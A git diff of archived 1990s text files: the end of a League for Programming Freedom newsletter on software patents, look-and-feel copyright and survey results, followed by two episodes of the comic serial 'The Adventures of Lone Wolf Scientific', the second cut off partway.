U.S. to strongly encourage other +countries to broaden patent protection for program-related inventions. + +THE SIGGRAPH SURVEY + + ...After the panelists spoke and responded to questions, the +audience was asked to respond to a survey nearly identical to the +survey on intellectual property rights conducted at CHI '89. There +were 345 respondents to the SIGGRAPH intellectual property rights +survey. As with the CHI '89 survey (which had 667 respondents), the +SIGGRAPH survey was filled out by people who mainly worked for firms +that develop software for commercial purposes (only one in five of the +respondents to these surveys worked for universities)... + +AN OVERVIEW OF THE FINDINGS ON PROTECTION OF VARIOUS ASPECTS OF +SOFTWARE + + There were three aspects of programs that enjoyed significant +support for intellectual property protection among the SIGGRAPH survey +respondents. Like the CHI '89 respondents before them, SIGGRAPHians +overwhelmingly supported copyright protection for the source code of +computer programs. Although a strong majority also supported +copyright protection for object code (as had the CHI survey +respondents), support for copyright protection for object code was +nonetheless lower among both SIGGRAPH and CHI respondents than was the +support for copyright for source code. The other aspect of software +enjoying strong support for copyright protection from SIGGRAPH +respondents was computer generated images (a subject about which no +inquiry was made on the CHI survey)... + +... nearly four out of five of the SIGGRAPH respondents were against +patent or copyright protection for algorithms, whereas the CHI +respondents were almost evenly split on the issue... + +STRONGER OPPOSITION TO "LOOK AND FEEL" + + Opposition to copyright protection for the "look and feel" of +computer programs was also stronger among the SIGGRAPH respondents +than among the CHI '89 survey respondents. More than three-quarters +of the CHI respondents had expressed opposition to protection for the +look and feel of computer programs. Ninety-four percent of SIGGRAPH +respondents, however, were opposed to look and feel protection... + +SIMILAR RESULTS CONCERNING OTHER USER INTERFACE FEATURES + + Apart from the stronger opposition to look and feel protection, +the SIGGRAPH survey yielded quite similar results to the CHI '89 +survey concerning other aspects of user interfaces. Ninety-two +percent of SIGGRAPH respondents opposed protection of user interface +commands, as had 88 percent of the CHI respondents. Ninety-one +percent of SIGGRAPH respondents opposed patent or copyright protection +for user interface functionality, as had eighty-three percent of CHI +respondents. There was somewhat less support among the SIGGRAPH than +CHI respondents for protection of user interface screen layouts (79% +opposition among SIGGRAPH and 69% among CHI respondents) and for user +interface screen sequences (90% opposition among SIGGRAPH and 79% +among SIGCHI respondents for this). Icons, however, were thought +deserving of protection by almost equal percentages of SIGGRAPH (44%) +and SIGCHI (43%) respondents... + +DEVELOPMENTS ON THE PATENT FRONT + + About two years ago, after some National Research Council +workshops aired conflicting views on software intellectual property +issues, a Congressional hearing was held on software intellectual +property issues. At this hearing, software developers Mitch Kapor and +Dan Bricklin, among others, expressed a number of concerns about +patent protection for software innovations. Some of the concerns +pertained to problems with how the U.S. Patent and Trademark Office +(PTO) was implementing its policy on computer program-related +inventions (e.g., problems arising from the PTO's ignorance of the +prior art and too low a standard as to what software innovations were +inventive enough to be patented). Some concerns were more fundamental +in nature (e.g., whether patent protection for software innovations +might significantly raise the barriers to entry to the software +industry, especially worrisome because small software firms have been +at the forefront of innovation in this industry). + + At about the same time, the United States began to consider +proposals to change its patent law to make it more like the patent +laws of other industrialized nations. To address questions that had +arisen concerning patent protection for computer program-related +inventions (including those raised at the Congressional hearing) and +to consider the patent harmonization proposals and some other issues, +the U.S. Department of Commerce established an Advisory Commission on +Patent Law Reform. + + Although one important set of issues to be addressed by the +Commission concerned software patents, no effort was made to find a +prominent computing professional who had no stated position on the +issues to serve on the Commission. The person appointed to serve as +the chairman of the Commission's working group on the computer +program-related inventions was Howard Figueroa, an IBM executive who +had publicly spoken in favor of patent protection for computer program +innovations before his appointment to the Commission. (Interestingly, +twenty years ago IBM was one of a number of computer firms who +submitted an amicus brief to the U.S. Supreme Court in the Gottschalk +v. Benson case arguing against patent protection for algorithms and +other program-related inventions because of their mathematical +character. The nature of program algorithms hasn't changed at all in +the past two decades, but IBM's position on the patent issues has +completely reversed itself.) + + The "public interest" representative on the Commission's working +group on the computer program issues was William Keefauver, the lawyer +who argued the Benson case before U.S. Supreme Court on behalf of AT&T +(the assignee of Benson's patent rights). Keefauver has made no +secret of the fact that he regards the Supreme Court's ruling that +Benson's algorithm for converting binary coded decimals to pure binary +form was unpatentable was wrongly decided. With Figueroa and +Keefauver on the working group on the computer program-related issues, +along with three other lawyers specializing in patent law (and an IBM +attorney as an alternate member), it was widely expected that the +group would conclude that patents were appropriate for computer +program-related inventions. Indeed, any other conclusion would have +been extremely surprising. (Samuelson has yet to meet a patent lawyer +who has doubts about the advisability of patent protection for +software innovations.) + + Last spring the Commission published a set of questions for +comment from the public. Most of the questions dealt with patent +harmonization and other issues, but the first group of questions +focused on the computer program-related issues. Even the manner in +which the Commission stated its questions on the computer program +issues suggested something other than an open mind on the issues. One +of the questions, for example, asked whether there was any reason why +patent protection should be "removed" for computer program-related +inventions. This way of stating the question suggests that the law +already clearly provided patent protection for computer program +innovations when, in fact, the case law is in considerable disarray on +this subject. + + The Commission has acknowledged receiving 545 letters in response +to this set of questions. Nearly eighty percent of the letters +addressed the computer program-related questions; sixty percent +addressed only the computer program-related issues. The Commission +has not provided further information about the letters, such as the +numbers of respondents who opposed or supported patent protection for +computer program innovations. Electronic versions of some of these +letters were posted on electronic bulletin boards. From these, it is +clear that quite a number of the letters were critical of software +patents and quite a number came from computing professionals. + + The draft report of the Commission's working group on the +computer program-related issues was released in January of 1992. +Unsurprisingly, it concludes that patent protection for computer +program-related inventions is well- established in the law and should +be continued. By endorsing the view expressed some years ago by +patent scholar Donald Chisum that algorithms and other computer +program related inventions are patentable because they are processes +and have a technological character, the draft report seems to to call +(as Chisum also did) for the overruling of the 1972 Gottschalk v. +Benson decision in which the U.S. Supreme Court decision ruled that +computer program algorithms were unpatentable on account of their +mathematical character. + + The draft report states that it considered all the letters +submitted in the response to the request for public comments. But the +report mainly mentions potential objections to the patenting of +software innovations as a prelude to dismissing them. (This part of +the report follows the form: "A" is not a problem because of X; "B" is +not a problem because of Y; and so on.) The draft report does, +however, recommend a number of changes in PTO procedures for dealing +with program-related inventions. For example, it states that the +Office should have better access to the prior art for software +innovations and better ways of classifying software so that people can +search more effectively for what has been patented before. + + The draft report also asserts that Europe and Japan now strongly +support patent protection for the patenting of computer +program-related inventions, and that the major patent offices around +the world are operating in substantial harmony concerning patent +protection for software innovations. It further urges the U.S. to +press those nations that don't provide patent protection for software +innovations to modify their policies to make program-related +inventions patentable, saying that the U.S. competitive edge in +software depends on the availability of patent protection. (It would +take an entire column to explain why the report's assertions about +other nations' patent standards aren't completely accurate, but it is +worth noting that the competitive edge that the U.S. software industry +currently enjoys was achieved in a legal environment in which patent +protection was not available for most computer program-related +inventions.) + +GATT-RELATED DEVELOPMENTS + + For the last several years, negotiations have been underway to +reach agreement on international norms on intellectual property rights +within the framework of the GATT. In mid-December 1991, a draft +agreement on Trade Related Intellectual Property Rights (TRIPS) aimed +at achieving this goal was distributed. It is now under consideration +by member nations. Negotiations about it are expected to continue for +some time. It is far from clear that this draft will be adopted, +mainly because third world and industrialized nations have not yet +resolved some longstanding disagreements on a number of its provisions +(such as those requiring patent or patent-like protection for new +species of plants). + + Only a few of the provisions of the draft TRIPS agreement deal +with computer software issues. The main provision of the TRIPS +agreement concerning intellectual property rights in computer programs +is that which would require member nations to protect computer +programs as "literary works" under copyright law. The patent section +of the draft TRIPS agreement does not directly mention computer +software, but the provision does say that patents are to be available +without regard to the "field of technology" to which they pertain. +Since it is difficult to dispute that computer programming pertains to +a "field of technology," this provision can be interpreted as +requiring member nations to protect software innovations by patent law +(notwithstanding the statutory provisions that many nations have +excluding many program-related inventions from patents and judicial +interpretations in many nations that have tended to limit the extent +of patent protection for software innovations). + + Those who support this expansive interpretation of the draft +TRIPS agreement, like those who wrote the Patent Advisory Commission +draft report, tend to assert that there is already a significant +consensus, at least among Industrialized nations, in favor of patent +protection for software innovations (when, in fact, there is not). +They also tend to ignore significant differences in patentability +standards employed by those nations that do provide some degree of +patent protection for software innovations. At an international +conference on software intellectual property rights sponsored by +Japan's Software Information Technology Center held in Tokyo in +December, the head of the EC Directorate which issued the EC Directive +on Copyright Protection for Computer Programs, after listening to +discussion of British, German, U.S. and Japanese patent caselaw on +patent protection for computer program-related inventions, stated that +the discussion had convinced him that it was premature to say that +there was sufficient consensus on this set of issues to make it part +of the GATT framework. + +CONCLUSION + + The SIGGRAPH intellectual property rights survey, like the CHI +'89 survey before it, demonstrates that there is strong support for +copyright protection for source and object code, but strong opposition +to extending copyright protection to such things as "look and feel" +within these segments of the technical community. Those surveyed +expected negative consequences for their own work and for the industry +and community of which they were a part if the look and feel lawsuits +established strong copyright protection for user interfaces. The +survey also suggests that there is significant opposition within these +communities concerning patent protection for software innovations. + + Neither the SIGGRAPH or the CHI '89 surveys purport to be +anything more than what they are: interesting sets of data about what +people in these communities think about the legal issues that affect +their field... + + Intellectual property rights are, of course, not a popularity +contest. What people in a particular field think the law should be on +a particular issue, even if by substantial margins, doesn't +necessarily mean that the courts or the legislature will or should +agree with that group's assessment. But what people think about the +norms that will govern their work and the industry as a whole ought to +matter, if for no other reason than that if there is a substantial gap +between what people in the field think the rule should be and what the +rule is, they may not respect the rule, or may devise strained +interpretations of it that may lead to more litigation. Resentment at +being excluded from the process of shaping the rule can also undermine +the effectiveness of a rule. + + ...Computer programs are unquestionably an important item of +commerce, not only in the United States, but in many other nations. +Given the international nature of commerce of this product and its +associated services, it is understandable that the U.S. and other +exporters of software products would press other nations for adoption +of relatively uniform rules for protecting intellectual property +rights in software. But it is a bad way for the U.S. (or any other +country) to make public policy by pushing for adoption of an +international treaty requiring member nations to give patent +protection to software innovations and then use that requirement as a +basis for asserting that the U.S. (or other country) has to patent +software innovations in order to comply with its treaty obligations. + + Computing professionals rely on the strength of the software +industry, both for their employment and for the tools with which they +conduct their work. They have a strong and abiding interest in the +success of this industry, and in the existence of intellectual +property rights that provide needed incentives for investment in the +industry. In addition, they have a strong sense of professional +responsibility and they care very much about the norms that govern +their work. By virtue of their experience in the field, computing +professionals also have some insights about what kind and what extent +of intellectual property protection for software is appropriate that +those who are making policy in this area would do well to heed. + + +Pamela Samuelson is a Professor of Law at the University of Pittsburgh +School of Law. Michel Denber is a researcher at Xerox Corporation's +research facility in Rochester, New York. Robert J. Glushko is the +President of Hypertext Engineering, Pittsburgh, Pennsylvania. + + --==-- + + <><><>LPF email lists - who and what they are for<><><> + +These lists are for LPF members only, although you may, of course, +redistribute postings to your friends in the hopes of getting them to +actively support the LPF by joining. + +The moderated mailing list: + league-activists@prep.ai.mit.edu + + and its two sub-lists: + league-activists-boston@prep.ai.mit.edu + and league-activists-remote@prep.ai.mit.edu should be used only + + for members' requests for assistance in league projects, local or + nationally, or for announcements from LPF. + + These lists are filtered by a moderator to: + - insure this use; + - minimize the number of messages; + - remove items meant for the list's -request address; + - forward items that should have been sent to another list. + + There may be a delay of up to 3 days for your message to be sent on + L-act, so plan ahead for volunteer requests. + +League-tactics@prep.ai.mit.edu is for discussion of LPF directions and +is not moderated. + +If you want to subscribe, change your eddress (email address), or be +removed from either list, please use: + + league-activists-request@prep.ai.mit.edu +or league-tactics-request@prep.ai.mit.edu + + +General questions about the LPF, and administrative questions about +your membership or your email copy of the newsletter should still go +to: lpf@uunet.uu.net + + --==-- + +LPF Norwegian chapter activity - by Haakon W. Lie (Haakon.Lie@nta.no) + +On June 22, the computer science elite of Norway celebrated the 25th +anniversary of Simula, a pioneering object-oriented language. Among the +invited speakers were Alan Kay (formerly of Xerox Parc, now an Apple +fellow) and Larry Tesler (formerly of Xerox Parc, now VP at Apple). +Among the more innocent VIPs were Bjarne Stroustrup and C.A.R. Hoare. + +The Norwegian chapter of the League for Programming Freedom used this +opportunity to express our position on user interface copyright and +software patents. The 300 participants received handouts describing +the current threats to programming freedom. both Alan Kay and Larry +Tesler received a copy of the handout, and Tesler acknowledged our +existence in his presentation (before he showed the demo tape of +Apple's forthcoming Newton he said he hoped the LPF representatives +would not copy the user interface. I presume he intended to make a +joke). + +The leading computer newspaper in Norway (Computerworld) covered the +event and presented the the views of LPF in two following articles. +Pictures of LPF members with banners ("Object-oriented programmers, +beware!", "Defend Programming Freedom") and handouts were featured and +the total LPF coverage exceeded that of the jubilee itself. + +The Norwegian chapter received several new members as result of the +action. To my knowledge, we didn't make any immediate enemies -- we +were careful to sympathize with the theme of the conference. The +handout started like this: + + Object-oriented programmers -- beware! + + The League for Programming Freedom salutes the creators of Simula + and Object-Oriented Programming. Object-oriented programming has + given programmers powerful techniques to express themselves for + the benefit of the users. Today, the freedom of expression for + programmers is threatened by software patents and interface + copyrights. + +LPF is a very American organization using a very American symbol [the +Statue of Liberty] and this may alienate some people. therefore, some +of the text on the handouts and banners were in Norwegian, and we +tried to modify the arguments to suit the law of the land. + + --==-- + + <><><> LPF Boutique: Materials Available from the League <><><> + + Please send your order to the League address on the first page. +We don't take credit cards yet, but do take US currency in cash, +checks, money orders, or any of the brands of Travelers Checks. + Buttons + We have reprinted the famous ``fanged apple'' buttons. These +buttons show the symbol of Apple computer with an alien snake's body +and face. You can buy buttons by mail from the League, for $2 each, +in quantities of at least three. We give out buttons at events, but +ask for a donation. + Stickers + We also have stickers showing Liberty Empowering the Programmer, +with the League's name and address. You can order stickers by mail +from the League at $5 for 10 stickers; for larger orders, phone us to +discuss a price. We hand them out free when it is convenient, such as +at our events, but since mailing packages to individuals costs money, +we want to make it an opportunity to raise funds. + Post stickers at eye level and separated from other posted +articles, to make them easy to see. The stickers are not made to +survive rain. + Liberty Postcards + We also have postcards showing Liberty Empowering the Programmer, +with the League's name and address. Same terms as the stickers. + Large Liberty Posters + We have a few posters with the same image that is on the +stickers, approximately 2.5 ft by 1.5 ft. They are $4 each and $4 +total shipping and handling in the US for the first one to five +posters, and $2 shipping/handling for each additional five. + Coffee Mugs + Our coffee mugs have the Fanged Apple design in full color on one +side and ``League for Programming Freedom'' on the other. They hold +twelve ounces and are microwave safe. You can order a mug for $15, +nonmembers $17, plus $3.00 shipping and handling. They are now in +stock. Note the price increase. + T-Shirts + Michael Ernst has produced t-shirts with Liberty and ``League for +Programming Freedom'' on the front and ``Innovate, Don't Litigate'' on +the back. (The back slogan will change from time to time.) You can +order shirts by mail from the League for $10, nonmembers $12, plus $2 +for shipping and handling. Available colors are yellow, light blue +and ecru; if you specify a color, we will assume you would rather have +another color than no shirt. If you want a chosen color or nothing, +say so explicitly. Please specify the shirt size! (M, L or XL.) We +are sold out of XL shirts with this back-slogan. + We have printed the next version of the LPF t-shirt. The new +back-slogan is "You'll pay for this", with an XORed cursor over the +word "this", and "League for Programming Freedom" underneath. The +front is the same as the older shirt, and the colors are yellow, light +blue, and off-white in M, L, and XL sizes. + Position Papers and Memberships + We will send anyone a copy of the League position papers. If you +want other copies to hand out at an event, we'll send you as many as +you need. Please discuss your plans with us. One-year memberships +are $42 for professionals, $10.50 for students, and $21 for others. +The dues are $100 for an institution with up to three employees, $250 +for an institution with four to nine employees, and $500 for an +institution with ten or more employees. For $5000, an institution can +be a sponsor rather than a member. + League Papers Online +You can retrieve LPF written materials in TeXinfo format by anonymous +ftp from prep.ai.mit.edu in the directory /pub/lpf. These include the +position papers, all back issues of our newsletter Programming Freedom +membership form, handouts, friends of the court briefs, and articles +about the LPF's issues of concern. In addition to the above, Joe Wells +has PostScript, DVI, plain text, and Info format versions of the +papers "Against User Interface Copyright" (look-and-feel) and "Against +Software Patents" (patents) available for FTP from the location: +cs.bu.edu:pub/jbw/lpf/ + League Video Cassettes + We have a four-hour video tape of two of Richard Stallman's speeches +for the LPF. If you'd like to give LPF speeches, we can send you a +copy of this tape to give you an example to learn from. If you'd like +copies for another purpose, we can send them for $20 each (includes $4 +shipping and handling.) They are now available in VHS/NTSC format +only. <><><> + + + FIRST CLASS MAIL FIRST CLASS MAIL FIRST CLASS MAIL FIRST CLASS MAIL + + + + + League for Programming Freedom + 1 Kendall Square #143 + P.O.Box 9171 + Cambridge, Massachusetts 02139 + + + FIRST CLASS MAIL + + + + + + + + + + + + TO: + + + + + + + FIRST CLASS MAIL FIRST CLASS MAIL + + + + diff --git a/textfiles.com/magazines/LWS.1 b/textfiles.com/magazines/LWS.1 new file mode 100644 index 00000000..329a8d4f --- /dev/null +++ b/textfiles.com/magazines/LWS.1 @@ -0,0 +1,24 @@ + +T E X T F I L E S + +

+The Adventures of Lone Wolf Scientific (1991) +

+

+ + +
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+The Adventures of Lone Wolf Scientific (1991) +

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diff --git a/textfiles.com/magazines/LWS/11.lws b/textfiles.com/magazines/LWS/11.lws new file mode 100644 index 00000000..09b84868 --- /dev/null +++ b/textfiles.com/magazines/LWS/11.lws @@ -0,0 +1,383 @@ +---------------------------------------------- +"The Adventures of Lone Wolf Scientific" +------------------------------------------ +An electronically syndicated series that +follows the exploits of two madcap +men of technology and the high-tech +company they start. +Copyright 1991 Michy Peshota. All +rights reserved. May not be distributed +without accompanying WELCOME.LWS and +EPISOD.LWS files. +----------------------- +EPISODE #11 + + + Revenge on the Bureacratic Puppet Creature + +>>Computer genius S-max discovers that the cans of twine +that his boss has put him in charge of are not "super-string +links between key defense systems," but plain old kite- +string.<< + + by M. Peshota + + Despite Andrew.BAS's fear of him and his rambunctious +officemate being fired for frittering away their days in the +most childish ways, the two reluctant defense workers +continued to be employed by Dingready & Derringdo Aerospace +for many, many weeks. Since their boss would not assign the +programmer to a programming project, thanks to the FBI's +shocking discovery during their security check on him (his +program editor had been authored by an emigre from a foreign +country that was overly-friendly to certain cable TV +comics), he had nothing to do each day but re-read the sci- +fi novels in his briefcase. Since his overbearing +officemate, S-max, refused to share with him the office's +sole unoccupied desk, he was forced to spend his days +sitting under the coat tree. His days limped past like +cruelly beaten dreamers. + + One day, their boss, Gus Farwick, delivered to their +office an entire pallet cart heaped with coffee cans full of +snarled string. It was the kind of string Dingready & +Derringdo attached to pieces of complex weapon systems so +that they could be easily assembled on the battlefield with +just a few slipknots. Farwick had been delivering more and +more tangled string to their office the past few weeks, for +S-max to unsnarl and re-roll. Andrew.BAS felt this was a +good thing because when the restless computer builder wasn't +re-winding the string and sticking to the balls tiny labels +that read "Dingready & Derringdo, We're There on the Ground +When You Need Us," which was often, as S-max was not a man +to be yoked to any single task for more than ten minutes, he +stalked the office like a restless delinquent. With his +hands shoved in his voluminous army jacket pockets and +jingling like a million broken screwdrivers, he'd brag about +how <> had been the one chosen to untangle the string +and Andrew.BAS had not, and disparaging computer programmers +in general. + + "As you may have noticed, Andrew.BAS," he said one day, +idling kicking a can of twine across the floor, "there is a +memo tacked to our office door. It reminds all who pass by +that I am neither allowed to exit the office nor leave my +desk chair except in the case of fire, tornado, earthquake, +or when a specially designated escort arrives. The memo is +authored by none other than our ever imaginative supervisor +and perspicacious bureacratic puppet creature himself, Mr. +Farwick. You see, he has quarrantined me to my desk chair +because he knows that I am a genius computer builder and he +knows what computer geniuses are like. He knows that genius +computer builders like myself have too much intellect +rushing around inside their forebrains to be running around +in public." He pointed in illustration to his broad, thick +forehead. "He also knows the genius computer hardware +architects like myself do their best work when they are +locked in a dank room with nothing but a few alligator clips +and a lot of electrical outlets." + + "That is a fairly accurate description of our office," +observed Andrew.BAS. + + The computer builder grunted. "At the same time, he +knows that no harm will come by letting <> roam the +halls to your heart's content--" He pointed accusingly to +the frail, white-shirted Andrew.BAS. "--because you are +just a feckless computer programmer." + + Andrew.BAS nodded with calm bemusement. "At least I +don't have to ask permission to look out our office door." + + What their third officemate, the catatonic assembly +programming savant, Austin Jellowack, thought of the cans of +string, or these discussions, or S-max's frequent lambastes +of computer programmers, they did not know, for he never +said anything. He neither responded to their morning hellos +nor even acknowledged their presence. For hours at a time, +he either danced his swollen knuckles frenetically over his +computer's keys, or gazed off into space with a dangerous +vacantness in his eyes and a rivulet of saliva drooling from +his lip. + + At least once a day, Gus Farwick visited their office +with a Polaroid camera. He would stride around the office, +rapidly clicking pictures of S-max's lopsided terminal with +its screen prompt set to the perpetual proclamation OUT TO +LUNCH>. He snapped pictures of the blowsy computer builder +struggling up to the overhead flourescent lights to retrieve +his Robin Hood tights--which he'd draped over the ballast +one day so as not to lose them. He snapped more pictures of +his "champagne-filled Jacuzzi" with its three-legged +bathtub, snarl of lawn sprinklers and jet propellers, and +half-drained bottles of bubble bath. He filled tablet after +tablet with descriptions of all that he saw. Each day, the +computer builder trailed him doggedly like a public +relations man, warbling purple adjective commentary like a +tabloid TV narrator. + + "Feast your eyes on the heavenly shower curtain that +now wraps our homemade high-tech Jacuzzi!" he'd gush, +pointing to the mildewed plastic sheet that clung to the +blighted bathtub and the office's cinderblock wall and was +profusely patched with electrical tape. "This bathhouse +haute comes to us courtesy of Andrew Sebastian, who told me, +shortly after I moved into his house with him, that he +didn't care whether he ever ate, slept, or bathed again +because his life was now nothing but a dusty ruin. Which is +why he said I could have the shower curtain to take to +work." He'd grunt, momentarily destroying the Robin Leach +effect, then continue, "Observe the drapes' dewy, delicious +adornment of daffy ducks! Yes, even the ducks are wearing +moon helmets!" + + More pallet carts stacked with string arrived. The +computer builder was forced to roll the string faster and +faster to keep up. Soon, coffee cans full of string rolled +in herds across the office floor. String was wound around +all the chair legs, even that of the mute Mr. Jellowack. +The more string that the computer builder's clumsy fingers +rolled, the more that seemed to tangle onto the floor at his +feet in immense, hopeless knots. Finally, he gave up. He +spent his days instead with his feet propped on his desk, +reading engineering magazines and grunting loudly. + + One morning, while S-max had gone with a Farwick-picked +escort to read the bulletin board down the hall, Andrew.BAS +noticed that for the first time in days their normally +lifeless officemate was stirring. Austin had picked up from +his desk the glue gun that S-max had given him weeks prior +to glue pocket mirrors on the model of the <> in +the company cafeteria, and which he had refused to part with +ever since. He now aimed it squarely at the coat closet. +He gritted his teeth with deadly determination. + + Seeing this as an ideal opportunity for intimate +conversation, Andrew.BAS smiled and asked the catatonic +programmer, "Have you been coding in assembly language very +long?" He realized that was a silly question, as Austin had +no doubt been programming in assembly before he even learned +to speak, as evidenced by his hollowed eyes, sunken chest, +pale skin, and generally worn appearance. Nevertheless, the +assembly savant showed no signs of having heard the +question. He continued to point the glue gun at the closet +door, his eyes wide, his arthritic knuckles twisted tight +around the handle. + + Andrew.BAS bubbled on, "Do you ever cut out and save +the 'Hacks Tricks' in <>. +I do. I tape them in a scrapbook and reread them whenever I +get lonely." + + Mr. Jellowack still didn't respond. + + Finally, he ventured, "Do you like to stay up late at +night playing pingpong and watching other people's program's +compile?" + + Austin now had the glue gun aimed at him! + + Andrew.BAS returned to his sci-fi novel and continued +reading. A few moments later, he glanced up to see the +rumpled savant crouching down in front of him. Austin +Jellowack looked into his eyes with a bug-eyed panic. "Do +you see him?" he breathed. + + Andrew.BAS glanced around. The office was empty except +for them. "See who?" + + "<>!" + + Andrew.BAS looked around again, bewildered. "Am I +supposed to?" + + "You should if you are truly a member of the brethern +of computer programmers." + + Since Andrew.BAS did want to be left out of the +brethern of computer programmers he looked over the office +more closely. Finally, he was forced to admit, "No, I'm +afraid I don't see anyone." + + Austin nodded knowingly. He bit his thick, chapped +lip, then fled across the office with a spidery run and out +the door with his glue gun. + + Since Andrew.BAS knew many programmers who behaved with +such utter inexplicability, especially assembly language +programmers, he thought nothing of the programmer's odd +words and continued reading. + + S-max reappeared a few minutes later. His escort, +holding tight to the computer builder's elbow, despite its +violent, indignant jerking, trailed behind him, his shirt +ripped and one of his eyes swollen shut like a smashed +cabbage. The bossy S-max also appeared more mussed up than +usual, but it was hard to tell if he <> been in a fight +since his normal appearance was of one who has just emerged +from a street brawl. He jerked his elbow side to side and +grumbled, "I do not need some Farwickian halfwit telling me +which research department bulletin board I cannot read." + + "If you weren't such a loony tune--" the escort +protested. + + "Loony tune?! I will have you know--" + + "If you were could be trusted as far as the next water +fountain then maybe Mr. Farwick would let you to read +whatever bulletin boards you like." + + "Mr. Farwick is as excited about my vision of the +future of technology as any dope would be--" + + "Mr. Farwick is as <> about your vision of +technology as any dope would be!" + + At that the two men locked in a series of kicks and +pummels. Andrew.BAS bolted to his feet, and raced across +the room to separate the two. + + "No, no, Andrew.BAS," the computer builder said, +pushing him aside. "This is not something an innocent young +programmer like yourself should see. This is an argument +that springs from the cold murderous outback of computer +hardware engineering, where inhabitants are forced to +constantly battle each other for warmth, caves, MOS +transistors, and access to research department bulletin +boards. We must settle this between ourselves once and for +all with fists and schematics. It is the only honorable +thing to do. If not, I will just run him down with my van +in the parking garage late one night." + + His sufferer blatted, "If Mr. Farwick trusted you, why +does he have you rolling up kite string?" + + "You fool!" the computer genius gasped. "It's not kite +string. It's super-string links between key components of +multi-billion dollar weapon systems!" + + "It's kite string! And it's busywork! It's designed +to keep you in your desk and away from people who actually +get work done. It's Mr. Farwick's way of keeping you out of +mischief." The escort retrieved his broken glasses from the +floor. As he stalked out, he grumbled, "Haven't you ever +wondered why the only bulletin board you're allowed to read +is the one with the pictures of employees' new babies?" + + The computer builder's black eyes narrowed with frenzy. +"Busywork?!" + + "I'm sure there's a logical explanation for it," +Andrew.BAS offered nonchallantly. He sat back down under +the coat tree and picked up his space novel. + + "Busywork?!" + + "Maybe the person who normally rolls up the kite string +is on vacation." + + S-max paced the office. "This string is just +busywork!?" He threw his arms in the air. + + "How do you know, maybe 'Busywork' is just the code +name for it." + + "This is impossible! Here I am frittering away hours +of my high-paid technical genius affixing labels to balls of +string that may not be used to tie together costly and +complex agents of death on the battlefield, as I had hoped, +but might be used to fly kites!" + + "There you go! See how easy it is to look at things +from a positive angle?" + + S-max started to breath deeply. His frown deepened +with rage. "It is one of life's great tragedies, truly it +is, Andrew.BAS," he rhetoricized, gazing in stunned hurt at +the cans of string heaped on the pallet cart and rolling +around the office floor, "that we have in our Mr. Farwick a +man who couldn't even successfully wear plastic fangs and +host Saturday afternoon horror movies on low-powered UHF +stations--" + + "Oh, I don't know if I would say that," the programmer +mused, easily picturing the wax bean head of their boss +squeezed behind glowing green fangs. + + "Here is a man who has been chosen by a major military +contractor to bureacratically minister to a basement full of +scientists, engineers, and smart people when it's absurdly +clear that the dope couldn't even manage a couch full of +inflatable dummies, moreless difficult people like us!" He +grabbed Andrew.BAS by the collar. "Think it over carefully, +Andrew.BAS: Would you want a halfwit like Farwick on your +Jeopardy team? Would you trust a ding-dong like this to +lead you to the down escalator in a major department store? +I suspect not. That's why the only reasonable response to +this whole shocking mess is for us to take sweet and +dastardly revenge upon the bureacratic puppet creature who +mistakenly believes that he can keep a computer genius of my +stature out of trouble with nothing but a few cans of +tangled up kite string!" + + The programmer looked at his officemate's angry face in +alarm. "I wouldn't be too angry with him. He was only doing +what he thought was right." + + "We must take revenge, Andrew.BAS!" + + "No!" + + "Yes! We must have it!" + + "Why can't we just continue collecting our paychecks +and forget about it?" + + "Revenge, Andrew.BAS!" He shook the helpless +programmer by his shoulders. "We will have that middle- +management crustacean pulling out his gone-to-seed buzzcut +in no time!" + + "Maybe we can just write him a letter?" + + "The only memos I write are on corroded circuit cards +that will haunt you for the rest of your life with failed +I/O readings." + + "Maybe an electronic message then?" + + "Revenge! We must have it! We will plot a revenge so +dastardly, so hideous, so cunning that, not only will we +lose our jobs, but no one will ever hire us again! +Anywhere! Ever!" + + "No! I still have six months' worth of payments left +on my motorscooter!" + + "You should have thought of that before you begged to +become my officemate." + + "But I--" + + "There's no turning back now. You do not make a +computer genius of my stature roll up kite string for nearly +fourteen weeks without serious consequences. Revenge is the +only answer, Andrew.BAS. If you were older you'd realize +that. Nincompoops like Farwick must be taught that they +cannot just thoughtlessly hire a great mind and expect to go +on living the rest of their life normally, as if nothing +happened." With a haughty toss of his head, the computer +builder swaggered to his lopsided terminal, sat down in his +zebra skin-cloaked chair, and began typing in commands. +"Revenge, revenge!" he sang beneath his breath, and the +programmer buried his cowlicked head in his hands and +moaned, "oh god." + + + +<<< + +>>>>In the next episode of "The Adventures of Lone Wolf +Scientific," S-max begs his officemate to write a new user- +interface for The Last Words Bomb. When the programmer +refuses, expressing his reluctance to use his programming +talents on an "instrument of death," the computer builder +tries to explain to him the concept of a "peace-keeping +tool."<<<< + diff --git a/textfiles.com/magazines/LWS/13.lws b/textfiles.com/magazines/LWS/13.lws new file mode 100644 index 00000000..4970f2cc --- /dev/null +++ b/textfiles.com/magazines/LWS/13.lws @@ -0,0 +1,349 @@ +---------------------------------------------- +"The Adventures of Lone Wolf Scientific" +------------------------------------------ +An electronically syndicated series that +follows the exploits of two madcap +mavens of high-technology. Copyright 1991 +Michy Peshota. All rights reserved. +May not be distributed without +accompanying WELCOME.LWS and +EPISOD.LWS files. +----------------------- +EPISODE #13 + + + + The "Peace-Keeping Tool" Gets a Humane User-Interface + +>>>>S-max implores his officemate to write a new user- +interface for The Last Words Bomb. When the programmer +refuses, expressing his reluctance to use his programming +talent to better an "instrument of death," the computer +builder explains to him the concept of a "peace-keeping +tool."<<<< + + By M. Peshota + + + Andrew.BAS was surprised to see his rambunctious +officemate reasonably well-behaved for an unprecedented +stretch of nearly two weeks. He remained seated in his desk +chair for most of the day like he was supposed to. He +listened to the endless hours worth of Dingready & Derringdo +Aerospace employee motivation tapes that their boss supplied +him with. He even stopped gasping and sputtering +incessantly about the horrific revenge he planned to take +upon their boss, Gus Farwick, for tricking him into rolling +up kite string. The programmer no longer worried that the +restive S-max was about to unleash some retaliatory mischief +that would get them both fired. In fact, it was the +furthest thing from his mind when the latter bustled over to +him one afternoon with a rather intriguing programming +problem. + + "Andrew.BAS, I must have your help." The computer +builder sighed in such a way that it almost sounded like a +command. A printout was heaped in his arms and he dropped +it, like a giant, dirty, unravelling spitball, into the lap +of the programmer who was sitting on the floor beneath the +coat tree. "This," he said, pointing to it, "is a problem +only you can solve for it requires intimate knowledge of all +the most half-baked programming languages." + + The programmer took a dogeared corner of the coffee- +stained printout and examined it. A brown banana peel fell +from one of the printout's leaves. "This looks like it was +pulled from a garbage can." + + "Well, yes, it did inhabit one for a while." The +computer builder snorted in despair. "But I have since +calmed down immeasurably and have had second thoughts about +this ridiculous program's usefulness." He grunted. "I need +you to write a simple user-interface for it, something that +I 